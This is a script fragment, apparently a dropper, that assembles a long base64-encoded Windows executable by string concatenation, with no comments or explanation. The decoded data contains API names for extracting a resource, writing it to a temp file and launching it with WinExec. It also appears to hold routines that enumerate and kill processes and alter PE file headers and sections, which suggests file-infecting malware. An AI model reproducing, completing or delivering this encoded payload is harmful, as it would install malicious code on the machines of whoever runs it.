filestring = filestring + "AIPEDItV/FKNhcD6//9QjU34UY2VnPz//1KNhYj6//9Qi424+v//UY2VrPr//1KNhaD6//9Q/xW4wEAAi42I+v//UWgYCEEAi1UMUuieFwAAg8QMakBqAI2FzPr//1DobBQAAIPEDMaFzPr//zeNjaD8//+JjdD6//9mx4XU+v//AAGNlcz6//9S6MUOAADHhbz6//8AAAAA6w+Lhbz6//+DwAGJhbz6//+LjaD8//+B4f8AAAA5jbz6//8PjWQBAABqQGoAjZXM+v//Uuj+EwAAg8QMxoXM+v//MouFvPr//4qMBaH8//+Ijfz6//+Nlcz6//9S6FkOAAAl/wAAAIXAdBZoHAhBAItFCFDoDg8AAIPECOkMAQAAakBqAI2NzPr//1HophMAAIPEDMaFzPr//zOLlbz6//+KhBWh/P//iIX8+v//aCwIQQCNjdb6//9R6MgOAACDxAhoWAIAAGoAjZWg/f//UuhiEwAAg8QMjYWg/f//iYXQ+v//ZseF"
filestring = filestring + "1Pr//1gCjY3M+v//UejCDQAAJf8AAACFwHV1i5Wl/f//geL/AAAAUouFpP3//yX/AAAAUIuNo/3//4Hh/wAAAFGLlaL9//+B4v8AAABSi4Wh/f//Jf8AAABQi42g/f//geH/AAAAUWgwCEEAjZWM+v//Uuj3FQAAg8QgjYWM+v//UItNCFHoFQ4AAIPECOsWaFAIQQCLVQhS6AIOAACDxAjpdf7//zPAi+Vdw1WL7LiIEQAA6IcVAABXx0WQYAhBAMdFlGwIQQDHRZh4CEEAx0WcgAhBAMdFoIgIQQDHRaSQCEEAx0WonAhBAMdFrKQIQQDHRbCsCEEAx0W0tAhBAMdFuLwIQQDHRbzECEEAx0XAzAhBAMdFxNQIQQDHRcjgCEEAx0XM6AhBAMdF0PAIQQDHRdT8CEEAx0XYBAlBAMdF3AwJQQDHReAUCUEAx0XkJAlBAMdF6CwJQQDHRewwCUEAx0XwOAlBAMdF9EAJQQDHRfhMCUEAoVQJQQCJhYz+"
filestring = filestring + "//+LDVgJQQCJjZD+//+LFVwJQQCJlZT+//9moWAJQQBmiYWY/v//ig1iCUEAiI2a/v//uT0AAAAzwI29m/7///Orqo2VeO7//1JoABAAAI2FhO7//1Do8wsAAIXAdQiDyP/pEwEAAIuNeO7//8HpAomNiP7//8eFgO7//wAAAADrD4uVgO7//4PCAYmVgO7//4uFgO7//zuFiP7//w+D1QAAAIuNgO7//4uUjYTu//9SagBoEQQAAP8VcMBAAImFhP7//4O9hP7//wAPhKIAAACNhXju//9QagSNTfxRi5WE/v//UuheCwAAhcB0eGgEAQAAjYWM/v//UItN/FGLlYT+//9S6DgLAADHhXzu//8AAAAA6w+LhXzu//+DwAGJhXzu//+DvXzu//8bcziLjXzu//+LVI2QUo2FjP7//1DoR2AAAIPEBFDoAhUAAIPECIXAdA9qAIuNhP7//1H/FbzAQADrsIuVhP7//1L/FSDAQADpCv///zPAX4vlXcIE"
filestring = filestring + "AFWL7IHssAAAAGhkCUEAagBqAP8V0MBAAImFXP////8VkMBAAD23AAAAdQiDyP/pKgIAAGicAAAAagCNhWD///9Q6AkQAACDxAzHhWD///+cAAAAjY1g////Uf8VzMBAAImFUP///4O9UP///wB1I8eFYP///5QAAACNlWD///9S/xXMwEAAhcB1CIPI/+nLAQAAg71w////AnQIg8j/6boBAABoBAEAAGg4O0EA/xXIwEAAhcB1CIPI/+meAQAAaCAyQQBoIDZBAGggOkEA6Df6//+DxAxoODtBAGhAPUEA6LoKAACDxAhoMOBAAGhAPUEA6LgKAACDxAhoODtBAGg8PEEA6JYKAACDxAhoQOBAAGg8PEEA6JQKAACDxAhoBAEAAGg0OkEAagD/FcTAQACFwHUIg8j/6SEBAADoR/n//2g8PEEAaEA9QQDoYff//4PECGg8PEEAaEA9QQDoIe7//4PECImFVP///4O9VP///wB1CIPI/+nhAAAAagBq"
filestring = filestring + "AIuFVP///1BocUpAAGoAagD/FZzAQACJhVj///+DvVj///8AdRWLjVT///9R/xUgwEAAg8j/6aMAAABqAGoAagBokz1AAGoAagD/FZzAQACJRfyDffwAdRKLlVj///9S/xUgwEAAg8j/63NqAGoAagBorFFAAGoAagD/FZzAQABqAGoAagBoBTFAAGoAagD/FZzAQABqAGoAi0UIUGiZSUAAagBqAP8VnMBAAGoAagBqAGhxN0AAagBqAP8VnMBAAGr/i41Y////Uf8VwMBAAGr/i1X8Uv8VwMBAADPAi+VdwhAAVYvsYIt1CIt9EItFDP9wDI+HtAAAAP9wCI+HuAAAAFCPh8QAAABhuAAAAADJwhAAVYvsg8T8YMdF/AAAAADoAAAAAFuB66dWQABVjYPsVkAAUI2DZFZAAFBk/zUAAAAAZIklAAAAAIt9CIHnAAD//2aBP01adRGL9wN2PGaBPlBFdQWJffzrEIHvAAABAIH/AAAAcHIC69hkjwUA"
filestring = filestring + "AAAAg8QMYYtF/MnCBABVi+yDxPhgx0X8AAAAAOgAAAAAW4HrIVdAAFWNg69XQABQjYNkVkAAUGT/NQAAAABkiSUAAAAAi30Muf////8ywPzyrovPK00MiU34i3UIA3Y8i3Z4A3UIi14gA10IM9JWizsDfQiLdQyLTfjzpnUDXusMXoPDBEI7Vhhy4+siK14gK10I0esDXiQDXQgPtwPB4AIDRhwDRQiLAANFCIlF/GSPBQAAAACDxAxhi0X8ycIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdldFByb2NBZGRyZXNzAEdldFRlbXBQYXRoQQBHZXRUZW1wRmlsZU5hbWVBAEdldE1vZHVsZUhhbmRsZUEARmluZFJlc291cmNlQQBMb2FkUmVzb3VyY2UAU2l6ZW9mUmVzb3VyY2UAQ3JlYXRlRmlsZUEAV3JpdGVGaWxlAENsb3NlSGFuZGxlAFdpbkV4"
filestring = filestring + "ZWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABia18A6AAAAABbgeuoWUAA/zQk6N38//8LwHUF6WgCAACJg8FXQACNg/FXQABQ/7PBV0AA6Db9//8LwHUF6UcCAACJg8VXQACNgwBYQABQ/7PBV0AA/5PFV0AAiYPJV0AA"
filestring = filestring + "jYMNWEAAUP+zwVdAAP+TxVdAAImDzVdAAI2DHlhAAFD/s8FXQAD/k8VXQACJg9FXQACNgy9YQABQ/7PBV0AA/5PFV0AAiYPVV0AAjYM9WEAAUP+zwVdAAP+TxVdAAImD2VdAAI2DSlhAAFD/s8FXQAD/k8VXQACJg91XQACNg1lYQABQ/7PBV0AA/5PFV0AAiYPhV0AAjYNlWEAAUP+zwVdAAP+TxVdAAImD5VdAAI2Db1hAAFD/s8FXQAD/k8VXQACJg+lXQACNg3tYQABQ/7PBV0AA/5PFV0AAiYPtV0AAjYObWEAAUGgEAQAA/5PJV0AAC8B1BeksAQAAjYObWEAAjYufWUAAUGoAUVD/k81XQAALwHUF6QwBAABqAP+T0VdAAAvAdQXp+wAAAImDg1hAAGhFHwAAaHkeAAD/s4NYQAD/k9VXQAALwHUF6dYAAACJg4tYQAD/s4tYQAD/s4NYQAD/k9lXQAALwHUF6akAAACJg4dYQAD/s4tYQAD/"
filestring = filestring + "s4NYQAD/k91XQAALwHUC63+Jg5NYQACNg5tYQABqAGiAAAAAagJqAGoDaAAAAMBQ/5PhV0AAC8B1AutUiYOPWEAAjYuXWEAAagBR/7OTWEAA/7OHWEAA/7OPWEAA/5PlV0AAC8B1Dv+zj1hAAP+T6VdAAOsb/7OPWEAA/5PpV0AAjYObWEAAagFQ/5PtV0AA/7OHWEAA/5PpV0AA/7OLWEAA/5PpV0AA6QAAAABVi+xSi0UIM9L3dQwL0nQBQPdlDFrJwggAVYvsg8ToYGoAaiBqA2oAagNoAAAAwP91COguAgAAg/j/dQXpBgIAAIlF/GoAagBqAGoCagBQ6AsCAAALwHUF6eIBAACJRehqAGoAagBqBFDo5QEAAAvAdQXpwAEAAIlF7It17AN2PIE+UEUAAHQF6aIBAAD/dlRqQOjaAQAAC8B1BemPAQAAi/j/dlT/dexX6MkBAACJRfCL+AP+K33sD7dGBki5KAAAAPfhi9cD0IHC+AAAAIvag8Mo"
filestring = filestring + "gTpibGFjdQ6BegRraWNldQXpPgEAAGb/RwaLxwX4AAAAg+gogzgAdA3HAAAAAADHQAQAAAAAD7dHBrkoAAAAUvfhWoPAFA+3TxQDwTtHVHYF6f4AAACLQhQDQhCJQxT/djxoPAcAAOjB/v//iUMQ/3Y4aDwHAADosf7//wFHHAFHUP92OP9yCOig/v//A0IMiUMMaBjCQACNA1DoHAEAAMdDCMkFAADHQyQgAADgi0MMBT8DAACJRyj/diiPRfRqAI1F+FD/dlT/dfD/dfzo4wAAAAvAdQLre2oAagD/cxT/dfzoyAAAAGoAjUX4UP9zCGhkVkAA/3X86LgAAAALwHUC61CLQxQDQxBqAGoAUP91/OiZAAAA/3X86IsAAACLQwwFyQUAAClF9ItLFIHBxQUAAGoAagBR/3X86HAAAABqAI1F+FBqBI1F9FD/dfzoYgAAAP918Og8AAAA/3Xs6BYAAAD/dejoGgAAAP91/OgSAAAAYcnCBADM/yUswEAA"
filestring = filestring + "/yUkwEAA/yUgwEAA/yUwwEAA/yU8wEAA/yVkwEAA/yVQwEAA/yXUwEAA/yXYwEAA/yXcwEAA/yXgwEAA/yXkwEAA/yU4wUAA/yU8wUAA/yU0wUAA/yUgwUAA/yUYwUAA/yUQwUAA/yUUwUAA/3QkBOiaCwAAWcNqAf90JAjoCAwAAFlZw8zMzMzMzMzMzMzMi1QkBItMJAj3wgMAAAB1PIsCOgF1LgrAdCY6YQF1JQrkdB3B6BA6QQJ1GQrAdBE6YQN1EIPBBIPCBArkddKL/zPAw5AbwNHgQMOL//fCAQAAAHQUigJCOgF16UEKwHTg98ICAAAAdKhmiwKDwgI6AXXSCsB0yjphAXXJCuR0wYPBAuuMzMzMzMzMzMzMzMzMV4t8JAjrao2kJAAAAACL/4tMJARX98EDAAAAdA+KAUGEwHQ798EDAAAAdfGLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQjhOR0GqkAAP8AdA6pAAAA/3QC682N"
filestring = filestring + "ef/rDY15/usIjXn96wONefyLTCQM98EDAAAAdBmKEUGE0nRkiBdH98EDAAAAde7rBYkXg8cEuv/+/n6LAQPQg/D/M8KLEYPBBKkAAQGBdOGE0nQ0hPZ0J/fCAAD/AHQS98IAAAD/dALrx4kXi0QkCF/DZokXi0QkCMZHAgBfw2aJF4tEJAhfw4gXi0QkCF/Di0wkBPfBAwAAAHQUigFBhMB0QPfBAwAAAHXxBQAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyLTCQEK8HDzMzMzMxVi+xXVot1DItNEIt9CIvBi9EDxjv+dgg7+A+CeAEAAPfHAwAAAHUUwekCg+IDg/kIcinzpf8klVhiQACLx7oDAAAAg+kEcgyD4AMDyP8khXBhQAD/JI1oYkAAkP8kjexhQACQgGFAAKxhQADQYUAA"
filestring = filestring + "I9GKBogHikYBiEcBikYCwekCiEcCg8YDg8cDg/kIcszzpf8klVhiQACNSQAj0YoGiAeKRgHB6QKIRwGDxgKDxwKD+QhypvOl/ySVWGJAAJAj0YoGiAdGwekCR4P5CHKM86X/JJVYYkAAjUkAT2JAADxiQAA0YkAALGJAACRiQAAcYkAAFGJAAAxiQACLRI7kiUSP5ItEjuiJRI/oi0SO7IlEj+yLRI7wiUSP8ItEjvSJRI/0i0SO+IlEj/iLRI78iUSP/I0EjQAAAAAD8AP4/ySVWGJAAIv/aGJAAHBiQAB8YkAAkGJAAItFCF5fycOQigaIB4tFCF5fycOQigaIB4pGAYhHAYtFCF5fycONSQCKBogHikYBiEcBikYCiEcCi0UIXl/Jw5CNdDH8jXw5/PfHAwAAAHUkwekCg+IDg/kIcg3986X8/ySV8GNAAIv/99n/JI2gY0AAjUkAi8e6AwAAAIP5BHIMg+ADK8j/JIX4YkAA/ySN8GNAAJAIY0AA"
filestring = filestring + "KGNAAFBjQACKRgMj0YhHA07B6QJPg/kIcrb986X8/ySV8GNAAI1JAIpGAyPRiEcDikYCwekCiEcCg+4Cg+8Cg/kIcoz986X8/ySV8GNAAJCKRgMj0YhHA4pGAohHAopGAcHpAohHAYPuA4PvA4P5CA+CWv////3zpfz/JJXwY0AAjUkApGNAAKxjQAC0Y0AAvGNAAMRjQADMY0AA1GNAAOdjQACLRI4ciUSPHItEjhiJRI8Yi0SOFIlEjxSLRI4QiUSPEItEjgyJRI8Mi0SOCIlEjwiLRI4EiUSPBI0EjQAAAAAD8AP4/ySV8GNAAIv/AGRAAAhkQAAYZEAALGRAAItFCF5fycOQikYDiEcDi0UIXl/Jw41JAIpGA4hHA4pGAohHAotFCF5fycOQikYDiEcDikYCiEcCikYBiEcBi0UIXl/Jw8zMzMzMzMzMzMzMi1QkDItMJASF0nRHM8CKRCQIV4v5g/oEci332YPhA3QIK9GIB0dJdfqLyMHgCAPB"
filestring = filestring + "i8jB4BADwYvKg+IDwekCdAbzq4XSdAaIB0dKdfqLRCQIX8OLRCQEw8zMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItUJAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC/DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C/V5fW8ONQvxeX1vDi0QkBKOACUEAw6GACUEAacD9QwMABcOeJgCjgAlBAMH4ECX/fwAAw1WL7FFTVleLfQwPr30Qi0UIiX38hf+JRQiL33UHM8DpzQAAAIt1FGb3RgwMAXQIi0YYiUUU6wfHRRQAEAAAi04MgeEIAQAAdCmLRgSFwHQiO9iL+3ICi/hX/3UI"
filestring = filestring + "/zboCfv//yl+BAE+g8QMK98BfQjrRjtdFHJGhcl0C1bogggAAIXAWXV5g30UAHQNi8Mz0vd1FIv7K/rrAov7V/91CP92EOh0BgAAg8QMg/j/dEcBRQgr2DvHcj6LffzrKYtFCFYPvgBQ6DwFAABZg/j/WXQu/0UIi0YYS4lFFIXAfwfHRRQBAAAAhdsPhVD///+LRRBfXlvJw4NODCCLRfzrAovHK8Mz0vd1DOvnVot0JAhXg8//i0YMqEB0BYPI/+s6qIN0NFbo2gcAAFaL+OhXCQAA/3YQ6JwIAACDxAyFwH0Fg8//6xKLRhyFwHQLUOiZAwAAg2YcAFmLx4NmDABfXsPovgoAAIXAdQHDUP90JBD/dCQQ/3QkEOg3CQAAg8QQw2pA/3QkDP90JAzo0f///4PEDMPMzMzMzMzMzMxRPQAQAACNTCQIchSB6QAQAAAtABAAAIUBPQAQAABz7CvIi8SFAYvhiwiLQARQw1WL7IPsIItFCFaJReiJReCN"
filestring = filestring + "RRDHRexCAAAAUI1F4P91DMdF5P///39Q6KIKAACDxAz/TeSL8HgIi0XggCAA6w2NReBQagDo8AMAAFlZi8ZeycPMzMzMzMzMzMzMzMzMzMyLTCQMV4XJdHpWU4vZi3QkFPfGAwAAAIt8JBB1B8HpAnVv6yGKBkaIB0dJdCWEwHQp98YDAAAAdeuL2cHpAnVRg+MDdA2KBkaIB0eEwHQvS3Xzi0QkEFteX8P3xwMAAAB0EogHR0kPhIoAAAD3xwMAAAB17ovZwekCdWyIB0dLdfpbXotEJAhfw4kXg8cESXSvuv/+/n6LBgPQg/D/M8KLFoPGBKkAAQGBdN6E0nQshPZ0HvfCAAD/AHQM98IAAAD/dcaJF+sYgeL//wAAiRfrDoHi/wAAAIkX6wQz0okXg8cEM8BJdAozwIkHg8cESXX4g+MDdYWLRCQQW15fw8zMi0wkCFdTVooRi3wkEITSdGmKcQGE9nRPi/eLTCQUigdGONB0FYTAdAuKBkY40HQK"
filestring = filestring + "hMB19V5bXzPAw4oGRjjwdeuNfv+KYQKE5HQoigaDxgI44HXEikEDhMB0GIpm/4PBAjjgdN/rsTPAXltfisLpg/v//41H/15bX8OLx15bX8NVi+xq/2hIwkAAaDSGQABkoQAAAABQZIklAAAAAIPsWFNWV4ll6P8VnMFAADPSitSJFXRCQQCLyIHh/wAAAIkNcEJBAMHhCAPKiQ1sQkEAwegQo2hCQQAz9lboLRsAAFmFwHUIahzosAAAAFmJdfzo+BcAAP8VmMFAAKOYV0EA6LYWAACjUEJBAOhfFAAA6KETAADovhAAAIl10I1FpFD/FZTBQADoMhMAAIlFnPZF0AF0Bg+3RdTrA2oKWFD/dZxWVv8VfMBAAFDo4+n//4lFoFDorBAAAItF7IsIiwmJTZhQUehwEQAAWVnDi2Xo/3WY6J4QAACDPVhCQQABdQXouBwAAP90JATo6BwAAGj/AAAA/xWQCUEAWVnDgz1YQkEAAXUF6JMcAAD/dCQE6MMc"
filestring = filestring + "AABZaP8AAAD/FaDBQADDVYvsUVaLdQiF9nRaoWRWQQCD+AN1FlboNR4AAFmFwFZ0NlDoVB4AAFlZ6zqD+AJ1Jo1FCFCNRfxQVuh3KAAAg8QMhcB0EVD/dQj/dfzouygAAIPEDOsPVmoA/zVgVkEA/xUEwUAAXsnD/zW8Q0EA/3QkCOgDAAAAWVnDg3wkBOB3Iv90JAToHAAAAIXAWXUWOUQkCHQQ/3QkBOjfKwAAhcBZdd4zwMOhZFZBAFaLdCQIg/gDdRU7NVxWQQB3P1bo4SAAAIXAWXQ0XsOD+AJ1LYtEJAiFwHQIjXAPg+bw6wNqEF47NfwqQQB3H4vGwegEUOhcKAAAhcBZdR7rDYX2dQNqAV6Dxg+D5vBWagD/NWBWQQD/FfTAQABew1WL7FNWi3UMi0YMi14QqIIPhPMAAACoQA+F6wAAAKgBdBaDZgQAqBAPhNsAAACLTggk/okOiUYMi0YMg2YEAINlDAAk7wwCZqkMAYlGDHUigf4gK0EA"
filestring = filestring + "dAiB/kArQQB1C1Po9isAAIXAWXUHVuinKwAAWWb3RgwIAVd0ZItGCIs+K/iNSAGJDotOGEmF/4lOBH4QV1BT6HsAAACDxAyJRQzrM4P7/3QWi8OLy8H4BYPhH4sEhYBWQQCNBMjrBbgoCkEA9kAEIHQNagJqAFPorCoAAIPEDItGCIpNCIgI6xRqAY1FCF9XUFPoKAAAAIPEDIlFDDl9DF90BoNODCDrD4tFCCX/AAAA6wgMIIlGDIPI/15bXcNVi+yB7BQEAACLTQhTOw2AV0EAVlcPg3kBAACLwYvxwfgFg+YfjRyFgFZBAMHmA4sDikQwBKgBD4RXAQAAM/85fRCJffiJffB1BzPA6VcBAACoIHQMagJXUegLKgAAg8QMiwMDxvZABIAPhMEAAACLRQw5fRCJRfyJfQgPhucAAACNhez7//+LTfwrTQw7TRBzKYtN/P9F/IoJgPkKdQf/RfDGAA1AiAhAi8iNlez7//8ryoH5AAQAAHzMi/iNhez7"
filestring = filestring + "//8r+I1F9GoAUI2F7Pv//1dQiwP/NDD/FeDAQACFwHRDi0X0AUX4O8d8C4tF/CtFDDtFEHKKM/+LRfg7xw+FiwAAADl9CHRfagVYOUUIdUzHBVxCQQAJAAAAo2BCQQDpgAAAAP8VkMBAAIlFCOvHjU30V1H/dRD/dQz/MP8V4MBAAIXAdAuLRfSJfQiJRfjrp/8VkMBAAIlFCOuc/3UI6MEqAABZ6z2LA/ZEMARAdAyLRQyAOBoPhM3+///HBVxCQQAcAAAAiT1gQkEA6xYrRfDrFIMlYEJBAADHBVxCQQAJAAAAg8j/X15bycNWi3QkCIX2dQlW6JEAAABZXsNW6CMAAACFwFl0BYPI/17D9kYNQHQP/3YQ6LAqAAD32FleG8DDM8Bew1NWi3QkDDPbV4tGDIvIg+EDgPkCdTdmqQgBdDGLRgiLPiv4hf9+JldQ/3YQ6Of9//+DxAw7x3UOi0YMqIB0DiT9iUYM6weDTgwgg8v/i0YIg2YEAIkGX4vD"
filestring = filestring + "XlvDagHoAgAAAFnDU1ZXM/Yz2zP/OTVAVkEAfk2hKEZBAIsEsIXAdDiLSAz2wYN0MIN8JBABdQ9Q6C7///+D+P9ZdB1D6xqDfCQQAHUT9sECdA5Q6BP///+D+P9ZdQIL+EY7NUBWQQB8s4N8JBABi8N0AovHX15bw1NVVleLfCQUOz2AV0EAD4OGAAAAi8eL98H4BYPmH40chYBWQQDB5gOLA/ZEMAQBdGlX6HkrAACD+P9ZdDyD/wF0BYP/AnUWagLoYisAAGoBi+joWSsAAFk7xVl0HFfoTSsAAFlQ/xUgwEAAhcB1Cv8VkMBAAIvo6wIz7VfotSoAAIsDWYBkMAQAhe10CVXo2SgAAFnrFTPA6xSDJWBCQQAAxwVcQkEACQAAAIPI/19eXVvDVot0JAiLRgyog3QdqAh0Gf92COhL+v//ZoFmDPf7M8BZiQaJRgiJRgRew1WL7FFRU1aLNchDQQBXi30MM9uJXfiJXfyKBzxhdBo8cnQPPHcPhSIB"
filestring = filestring + "AAC5AQMAAOsMM8mDzgHrCLkJAQAAg84CagFaikcBRzrDD4TjAAAAO9MPhNsAAAAPvsCD+FR/cnRgg+grdEWD6Bl0NoPoDnQcSA+FrAAAADld/A+FowAAAMdF/AEAAACDySDrtzld/A+FjgAAAMdF/AEAAACDyRDrovbBQHV9g8lA65j2wQJ1c4Ph/oPm/IPJAoHOgAAAAOuCuAAQAACFyHVZC8jpcv///4PoYnRISHQug+gLdBKD6AZ1QPbFwHU7gM1A6VP///85Xfh1LsdF+AEAAACB5v+////pPP///zld+HUXx0X4AQAAAIHOAEAAAOkl////9sXAdAcz0ukZ////gM2A6RH///9opAEAAP91EFH/dQjoyykAAIvIg8QQO8t9BDPA6xqLRRT/BcRDQQCJcAyJWASJGIlYCIlYHIlIEF9eW8nDixVAVkEAU1VWM+0z9jPAO9VXfl2LHShGQQCL+4sPO810FfZBDIN0CkCDxwQ7wnzs6z+LNIPrJIv4"
filestring = filestring + "aiDB5wLo7vj//1mLDShGQQCJBA+hKEZBAIs8Bzv9dBiL9zv1dBKDThD/iW4EiW4MiW4IiS6JbhyLxl9eXVvDVYvsgexMAgAAU1aLdQwzyVeJTfCKHkaE24lN7IlN0Il1DA+ETgcAAL8ACAAAugACAADrDYtNxLoAAgAAvwAIAACDfewAD4wrBwAAgPsgfBOA+3h/Dg++w4qANMJAAIPgD+sCM8APvoTBVMJAAMH4BIP4B4lFxA+H6QYAAP8khb15QAAzwINN+P+JRcCJRciJRdiJRdyJRfyJRdTpxQYAAA++w4PoIHQ7g+gDdC2D6Ah0H0hIdBKD6AMPhaYGAACDTfwI6Z0GAACDTfwE6ZQGAACDTfwB6YsGAACATfyA6YIGAACDTfwC6XkGAACA+yp1I41FEFDoQgcAAIXAWYlF2A+NXwYAAINN/AT32IlF2OlRBgAAi0XYD77LjQSAjURB0Ovpg2X4AOk5BgAAgPsqdR6NRRBQ6AIHAACFwFmJRfgP"
filestring = filestring + "jR8GAACDTfj/6RYGAACLRfgPvsuNBICNREHQiUX46QEGAACA+0l0LYD7aHQfgPtsdBGA+3cPhekFAAAJffzp4QUAAINN/BDp2AUAAINN/CDpzwUAAIA+NnUUgH4BNHUORkaATf2AiXUM6bYFAACDZcQAiw0AL0EAg2XUAA+2w/ZEQQGAdBmNRexQ/3UID77DUOjHBQAAih6DxAxGiXUMjUXsUP91CA++w1DorgUAAIPEDOltBQAAD77Dg/hnD484AgAAg/hlD42WAAAAg/hYD4/sAAAAD4SUAgAAg+hDD4ShAAAASEh0cEhIdGyD6AwPhR4EAABm90X8MAh1Awl9/IN9+P++////f3QDi3X4jUUQUOjkBQAAZvdF/BAIWYvIiU30D4QaAgAAhcl1CYsNnAlBAIlN9MdF1AEAAACLwYvWToXSD4TwAQAAZoM4AA+E5gEAAEBA6+fHRcABAAAAgMMgg038QIN9+ACNvbT9//+JffQPjc0AAADHRfgGAAAA"
filestring = filestring + "6QYBAABm90X8MAh1Awl9/Gb3RfwQCI1FEFB0O+h3BQAAUI2FtP3//1Do8SgAAIPEDIlF8IXAfTLHRcgBAAAA6ymD6Fp0MoPoCXTFSA+EAgIAAOk8AwAA6B8FAABZiIW0/f//x0XwAQAAAI2FtP3//4lF9OkbAwAAjUUQUOj6BAAAhcBZdDKLSASFyXQrhX38dBcPvwDR6IlN9IlF8MdF1AEAAADp6gIAAINl1ACJTfQPvwDp2AIAAKGYCUEAiUX0UOmqAAAAdQ6A+2d1PsdF+AEAAADrNTlV+H4DiVX4gX34owAAAH4ki0X4BV0BAABQ6AP1//+FwFmJRdB0B4v4iX306wfHRfijAAAAi0UQ/3XAg8AIiUUQ/3X4i0j4iU20i0D8iUW4D77DUI1FtFdQ/xXoLkEAi3X8g8QUgeaAAAAAdA6DffgAdQhX/xX0LkEAWYD7Z3UMhfZ1CFf/FewuQQBZgD8tdQiATf0BR4l99FfoG+r//1npFQIAAIPoaQ+E"
filestring = filestring + "0AAAAIPoBQ+EnQAAAEgPhIQAAABIdFGD6AMPhOD9//9ISA+EsAAAAIPoAw+F4gEAAMdFzCcAAADrPCvB0fjpzQEAAIXJdQmLDZgJQQCJTfSLwYvWToXSdAiAOAB0A0Dr8SvB6agBAADHRfgIAAAAx0XMBwAAAPZF/IDHRfAQAAAAdFyKRczGReowBFHHRdwCAAAAiEXr60f2RfyAx0XwCAAAAHQ6CVX86zWNRRBQ6EgDAAD2RfwgWXQJZotN7GaJCOsFi03siQjHRcgBAAAA6T0CAACDTfxAx0XwCgAAAPZF/YB0DI1FEFDoGgMAAFnrQfZF/CB0IfZF/ECNRRBQdAzo9QIAAFkPv8CZ6yXo6QIAAFkPt8Dr8vZF/ECNRRBQdAjo1AIAAFnr4OjMAgAAWTPS9kX8QHQdhdJ/GXwEhcBzE/fYg9IAiUXg99qATf0BiVXk6waJReCJVeT2Rf2AdQSDZeQAg334AH0Jx0X4AQAAAOsRg2X897gAAgAAOUX4"
filestring = filestring + "fgOJRfiLReALReR1BINl3ACNRbOJRfSLRfj/TfiFwH8Ii0XgC0XkdD+LRfCZi/qL8FdW/3Xk/3Xg6MImAABXVv915IvYg8Mw/3Xg6EAmAACD+zmJReCJVeR+AwNdzItF9P9N9IgY66+NRbMrRfT/RfT2Rf0CiUXwdBmLTfSAOTB1BIXAdQ3/TfRAi030xgEwiUXwg33IAA+F9AAAAItd/PbDQHQm9scBdAbGReot6xT2wwF0BsZF6ivrCfbDAnQLxkXqIMdF3AEAAACLddgrddwrdfD2wwx1Eo1F7FD/dQhWaiDoKgEAAIPEEI1F7FCNRer/dQj/ddxQ6EUBAACDxBD2wwh0F/bDBHUSjUXsUP91CFZqMOj4AAAAg8QQg33UAHRBg33wAH47i0Xwi130jXj/ZosDQ1CNRbxQQ+jeJAAAWYXAWX4yjU3sUf91CFCNRbxQ6OsAAACDxBCLx0+FwHXQ6xWNRexQ/3UI/3Xw/3X06M0AAACDxBD2RfwEdBKN"
filestring = filestring + "RexQ/3UIVmog6IQAAACDxBCDfdAAdA3/ddDo8PD//4Nl0ABZi3UMih5GhNuJdQwPhb74//+LRexfXlvJw/JzQADCckAA33JAACtzQABic0AAa3NAAKNzQAA3dEAAVYvsi00M/0kEeA6LEYpFCIgC/wEPtsDrC1H/dQjoq/H//1lZg/j/i0UQdQWDCP9dw/8AXcNWV4t8JBCLx0+FwH4hi3QkGFb/dCQY/3QkFOis////g8QMgz7/dAeLx0+FwH/jX17DU4tcJAyLw0tWV4XAfiaLfCQci3QkEA++BldG/3QkHFDodf///4PEDIM//3QHi8NLhcB/4l9eW8OLRCQEgwAEiwCLQPzDi0QkBIMACIsIi0H4i1H8w4tEJASDAASLAGaLQPzDoZRXQQCFwHQC/9BoFOBAAGgI4EAA6M4AAABoBOBAAGgA4EAA6L8AAACDxBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PaRCQQB1"
filestring = filestring + "Ef90JAj/FbTAQABQ/xW8wEAAg3wkDABTi1wkFIk9oEJBAIgdnEJBAHU8oZBXQQCFwHQiiw2MV0EAVo1x/DvwchOLBoXAdAL/0IPuBDs1kFdBAHPtXmgg4EAAaBjgQADoKgAAAFlZaCjgQABoJOBAAOgZAAAAWVmF21t1EP90JAiJPaRCQQD/FaDBQABfw1aLdCQIO3QkDHMNiwaFwHQC/9CDxgTr7V7DVYvsU/91COg1AQAAhcBZD4QgAQAAi1gIhdsPhBUBAACD+wV1DINgCABqAVjpDQEAAIP7AQ+E9gAAAIsNqEJBAIlNCItNDIkNqEJBAItIBIP5CA+FyAAAAIsNGApBAIsVHApBAAPRVjvKfRWNNEkr0Y00tagJQQCDJgCDxgxKdfeLAIs1JApBAD2OAADAdQzHBSQKQQCDAAAA63A9kAAAwHUMxwUkCkEAgQAAAOtdPZEAAMB1DMcFJApBAIQAAADrSj2TAADAdQzHBSQKQQCFAAAA6zc9jQAA"
